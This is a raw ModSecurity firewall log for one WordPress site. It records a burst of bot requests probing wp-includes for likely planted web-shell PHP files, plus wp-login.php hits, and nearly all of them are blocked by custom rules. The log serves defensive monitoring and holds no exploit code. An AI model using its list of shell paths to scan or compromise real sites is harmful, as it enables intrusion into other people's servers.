[Tue Mar 24 11:53:17.450416 2026] [:error] [pid 64198:tid 64210] [client 45.133.5.36:39023] [client 45.133.5.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "acIKrXVzJqf6OS_oSZ23-QAAAUo"]
[Tue Mar 24 11:53:17.494123 2026] [:error] [pid 48214:tid 48271] [client 45.133.5.48:25129] [client 45.133.5.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "acIKrbeshLWZ3uUDHKkaXgAAAdM"]
[Tue Mar 24 11:53:17.555904 2026] [:error] [pid 38767:tid 38775] [client 45.133.5.30:23415] [client 45.133.5.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "acIKrfwkUqN4GJAI5oUl2QAAAQU"]
[Tue Mar 24 11:53:17.651576 2026] [:error] [pid 64198:tid 64200] [client 45.133.5.52:28913] [client 45.133.5.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "acIKrXVzJqf6OS_oSZ23_AAAAUA"]
[Tue Mar 24 11:53:17.905070 2026] [:error] [pid 38767:tid 38781] [client 45.133.5.33:41403] [client 45.133.5.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "acIKrfwkUqN4GJAI5oUl4QAAAQs"]
[Tue Mar 24 11:53:17.954341 2026] [:error] [pid 64198:tid 64220] [client 45.133.5.11:23227] [client 45.133.5.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "acIKrXVzJqf6OS_oSZ23_wAAAVQ"]
[Tue Mar 24 11:53:17.994910 2026] [:error] [pid 38767:tid 38789] [client 45.133.5.14:47291] [client 45.133.5.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "acIKrfwkUqN4GJAI5oUl4gAAARM"]
[Tue Mar 24 11:53:18.323192 2026] [:error] [pid 64198:tid 64212] [client 45.133.5.37:51349] [client 45.133.5.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "acIKrnVzJqf6OS_oSZ24AwAAAUw"]
[Tue Mar 24 11:53:18.431373 2026] [:error] [pid 3032:tid 3114] [client 45.133.5.25:60335] [client 45.133.5.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "acIKria_-JXXD03-JNwPIQAAAIs"]
[Tue Mar 24 11:53:18.562148 2026] [:error] [pid 38767:tid 38772] [client 45.133.5.16:45353] [client 45.133.5.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "acIKrvwkUqN4GJAI5oUl6AAAAQI"]
[Tue Mar 24 11:53:18.631103 2026] [:error] [pid 64198:tid 64205] [client 45.133.5.10:56785] [client 45.133.5.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "acIKrnVzJqf6OS_oSZ24BwAAAUU"]
[Tue Mar 24 11:53:18.683433 2026] [:error] [pid 3137:tid 3140] [client 45.133.5.50:49315] [client 45.133.5.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "acIKrpdZesutm6dfYM-YJgAAAME"]
[Tue Mar 24 11:53:18.733695 2026] [:error] [pid 3031:tid 3078] [client 45.133.5.46:60685] [client 45.133.5.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "acIKrqJBKytnG47nuiYQyAAAAEI"]
[Tue Mar 24 11:53:18.885155 2026] [:error] [pid 64198:tid 64210] [client 45.133.5.22:48191] [client 45.133.5.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "acIKrnVzJqf6OS_oSZ24CgAAAUo"]
[Tue Mar 24 11:53:19.323299 2026] [:error] [pid 64198:tid 64203] [client 45.133.5.51:53349] [client 45.133.5.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "acIKr3VzJqf6OS_oSZ24DgAAAUM"]
[Tue Mar 24 11:53:19.442052 2026] [:error] [pid 64198:tid 64222] [client 45.133.5.49:42497] [client 45.133.5.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "acIKr3VzJqf6OS_oSZ24EAAAAVY"]
[Tue Mar 24 11:53:19.504183 2026] [:error] [pid 64198:tid 64218] [client 45.133.5.54:48465] [client 45.133.5.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "acIKr3VzJqf6OS_oSZ24EQAAAVI"]
[Tue Mar 24 11:53:19.541585 2026] [:error] [pid 64198:tid 64212] [client 45.133.5.49:53271] [client 45.133.5.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "acIKr3VzJqf6OS_oSZ24EwAAAUw"]
[Tue Mar 24 11:53:19.630340 2026] [:error] [pid 64198:tid 64205] [client 45.133.5.45:38121] [client 45.133.5.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "acIKr3VzJqf6OS_oSZ24FgAAAUU"]
[Tue Mar 24 11:53:19.804632 2026] [:error] [pid 48219:tid 48304] [client 45.133.5.35:44487] [client 45.133.5.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/about.php"] [unique_id "acIKryhf3b4R_lAIyv8JOAAAAhc"]
[Tue Mar 24 11:53:19.929383 2026] [:error] [pid 3137:tid 3142] [client 45.133.5.156:57907] [client 45.133.5.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "acIKr5dZesutm6dfYM-YKQAAAMM"]
[Tue Mar 24 11:53:20.007509 2026] [:error] [pid 3031:tid 3097] [client 45.133.5.34:56153] [client 45.133.5.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "acIKsKJBKytnG47nuiYQyQAAAFU"]
[Tue Mar 24 11:53:20.162696 2026] [:error] [pid 48219:tid 48305] [client 45.133.5.49:50497] [client 45.133.5.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "acIKsChf3b4R_lAIyv8JOwAAAhg"]
[Tue Mar 24 11:53:20.252355 2026] [:error] [pid 48214:tid 48266] [client 45.133.5.46:29127] [client 45.133.5.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "acIKsLeshLWZ3uUDHKkaXwAAAc4"]
[Tue Mar 24 11:53:20.297398 2026] [:error] [pid 48214:tid 48262] [client 45.133.5.36:31121] [client 45.133.5.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "acIKsLeshLWZ3uUDHKkaYAAAAco"]
[Tue Mar 24 11:53:20.360749 2026] [:error] [pid 48214:tid 48252] [client 45.133.5.33:35721] [client 45.133.5.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.33, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "acIKsLeshLWZ3uUDHKkaYgAAAcA"]
[Tue Mar 24 11:53:20.393321 2026] [:error] [pid 48214:tid 48267] [client 45.133.5.33:35721] [client 45.133.5.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "acIKsLeshLWZ3uUDHKkaYwAAAc8"]
[Tue Mar 24 11:53:20.434497 2026] [:error] [pid 38767:tid 38787] [client 45.133.5.39:59809] [client 45.133.5.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "acIKsPwkUqN4GJAI5oUl6gAAARE"]
[Tue Mar 24 11:53:20.558170 2026] [:error] [pid 3137:tid 3160] [client 45.133.5.14:27143] [client 45.133.5.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "acIKsJdZesutm6dfYM-YKwAAANU"]
[Tue Mar 24 11:53:20.648762 2026] [:error] [pid 48214:tid 48272] [client 45.133.5.20:60673] [client 45.133.5.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "acIKsLeshLWZ3uUDHKkaZQAAAdQ"]
[Tue Mar 24 11:53:20.842596 2026] [:error] [pid 48214:tid 48256] [client 45.133.5.25:61077] [client 45.133.5.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "acIKsLeshLWZ3uUDHKkaaAAAAcQ"]
[Tue Mar 24 11:53:20.885493 2026] [:error] [pid 64198:tid 64202] [client 45.133.5.31:22417] [client 45.133.5.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "acIKsHVzJqf6OS_oSZ24GwAAAUI"]
[Tue Mar 24 11:53:20.961942 2026] [:error] [pid 64198:tid 64201] [client 45.133.5.10:21571] [client 45.133.5.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "acIKsHVzJqf6OS_oSZ24HgAAAUE"]
[Tue Mar 24 11:53:21.080552 2026] [:error] [pid 3137:tid 3152] [client 45.133.5.50:37337] [client 45.133.5.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "acIKsZdZesutm6dfYM-YLwAAAM0"]
[Tue Mar 24 11:53:21.142746 2026] [:error] [pid 38767:tid 38775] [client 45.133.5.40:25645] [client 45.133.5.40] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.40, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "acIKsfwkUqN4GJAI5oUl6wAAAQU"]
[Tue Mar 24 11:53:21.258672 2026] [:error] [pid 38767:tid 38784] [client 45.133.5.40:25645] [client 45.133.5.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "acIKsfwkUqN4GJAI5oUl7gAAAQ4"]
[Tue Mar 24 11:53:21.342700 2026] [:error] [pid 64198:tid 64218] [client 45.133.5.27:41311] [client 45.133.5.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "acIKsXVzJqf6OS_oSZ24JAAAAVI"]
[Tue Mar 24 11:53:21.483246 2026] [:error] [pid 3031:tid 3077] [client 45.133.5.33:42707] [client 45.133.5.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "acIKsaJBKytnG47nuiYQzAAAAEE"]
[Tue Mar 24 11:53:21.528830 2026] [:error] [pid 48219:tid 48294] [client 45.133.5.53:31069] [client 45.133.5.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "acIKsShf3b4R_lAIyv8JPQAAAg0"]
[Tue Mar 24 11:53:21.840052 2026] [:error] [pid 48219:tid 48302] [client 45.133.5.45:59167] [client 45.133.5.45] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.45, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "acIKsShf3b4R_lAIyv8JQwAAAhU"]
[Tue Mar 24 11:53:21.966078 2026] [:error] [pid 48219:tid 48292] [client 45.133.5.45:59167] [client 45.133.5.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "acIKsShf3b4R_lAIyv8JRQAAAgs"]
[Tue Mar 24 11:53:22.121304 2026] [:error] [pid 48219:tid 48304] [client 45.133.5.18:29227] [client 45.133.5.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "acIKsihf3b4R_lAIyv8JSQAAAhc"]
[Tue Mar 24 11:53:22.229248 2026] [:error] [pid 48219:tid 48296] [client 45.133.5.156:28051] [client 45.133.5.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "acIKsihf3b4R_lAIyv8JSgAAAg8"]
[Tue Mar 24 11:53:22.381515 2026] [:error] [pid 38767:tid 38785] [client 45.133.5.19:38927] [client 45.133.5.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "acIKsvwkUqN4GJAI5oUl8gAAAQ8"]
[Tue Mar 24 11:53:22.460541 2026] [:error] [pid 38767:tid 38779] [client 45.133.5.10:61091] [client 45.133.5.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "acIKsvwkUqN4GJAI5oUl8wAAAQk"]
[Tue Mar 24 11:53:22.541155 2026] [:error] [pid 38767:tid 38782] [client 45.133.5.51:39991] [client 45.133.5.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "acIKsvwkUqN4GJAI5oUl9AAAAQw"]
[Tue Mar 24 11:53:22.716929 2026] [:error] [pid 38767:tid 38774] [client 45.133.5.19:36743] [client 45.133.5.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "acIKsvwkUqN4GJAI5oUl-AAAAQQ"]
[Tue Mar 24 11:53:23.010466 2026] [:error] [pid 38767:tid 38777] [client 45.133.5.21:57171] [client 45.133.5.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/s/tinymce/skins/lightgray/fonts/index.php"] [unique_id "acIKs_wkUqN4GJAI5oUmAAAAAQc"]
[Tue Mar 24 11:53:24.202762 2026] [:error] [pid 64198:tid 64218] [client 45.133.5.44:44517] [client 45.133.5.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "acIKtHVzJqf6OS_oSZ24NgAAAVI"]
[Tue Mar 24 11:53:24.244261 2026] [:error] [pid 48219:tid 48284] [client 45.133.5.47:20747] [client 45.133.5.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "acIKtChf3b4R_lAIyv8JTAAAAgM"]
[Tue Mar 24 11:53:24.338447 2026] [:error] [pid 48219:tid 48297] [client 45.133.5.38:63413] [client 45.133.5.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "acIKtChf3b4R_lAIyv8JTgAAAhA"]
